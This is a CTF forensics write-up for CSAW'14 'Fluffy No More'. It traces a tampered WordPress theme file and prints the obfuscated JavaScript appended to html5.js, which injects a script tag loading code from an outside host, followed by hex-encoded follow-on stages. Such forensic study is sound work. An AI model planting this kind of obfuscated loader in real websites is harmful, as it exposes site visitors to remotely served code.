CSAW'14 - 'Fluffy No More' writeup

This was a very nice forensics challenge for 300 points. It was very well built and logical. As a result, a lot of people solved it. I'll do a writeup anyway.

The following files/folders were provided:

- `etc/`
- `var/log`
- `var/www`
- `mysql_backup.sql`

`/var/www` contained a wordpress installation. The timestamps here were completely reset, which made things a bit harder. I did not find anything useful in the apache logs. They were just too big to completely cover. However, `/var/log/auth.log` contained a lot of useful information, and turned out the key to success. The following line was the first clue:

```
PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ;
COMMAND=/usr/bin/vi /var/www/html/wp-
content/themes/twentythirteen/js/html5.js
```

Someone apparently edited a js file in the twentythirteen theme, and they forgot to clear the logs. This could have been found through a lot of diffing, which would have been the thing to do, should we not find anything in the logs. We spared some time here. Diffing the original `html5.js` shows that there is some code appended to the original, which looks like this:

```
var g = "ti";
var c = "HTML Tags";
var f = ". li colgroup br src datalist script option .";
f = f.split(" ");
c = "";
k = "/";
m = f[6];
for (var i = 0; i < f.length; i++) {
    c += f[i].length.toString();
}
v = f[0];
x = "\'ht";
b = f[4];
f = 2541 * 6 - 35 + 46 + 12 - 15269;
c += f.toString();
f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1;
c += f.toString();
f = "";
c = c.split("");
var w = 0;
u = "s";
for (var i = 0; i < c.length; i++) {
    if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) {
        f += String.fromCharCode(46);
        w++;
    }
    f += c[i];
}
i = k + "anal";
document.write("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>");
```

Changing `document.write` to `console.log` and then executing the script yields the following result:

```
<script src='http://128.238.66.100/analytics.js'></script>
```

Loading the JS file and beautifying it results in another fishy part in the analytics.js file:

```
var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65
window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);
```

Decoding the hex-encoded string gives us a url for a pdf file

```
http://128.238.66.100/announcement.pdf
```

After this I got stuck, and it was a teammate that told be about qpdf. Using this tool, we can extract information from the file. Looking at the extracted pdf file, we can find another js snippet:

```
var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x
var y=_0xee0b[0];
```

Another round of decoding, and we get the flag:

```
YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb  :)
key{Those Fluffy Bunnies Make Tummy Bumpy}
```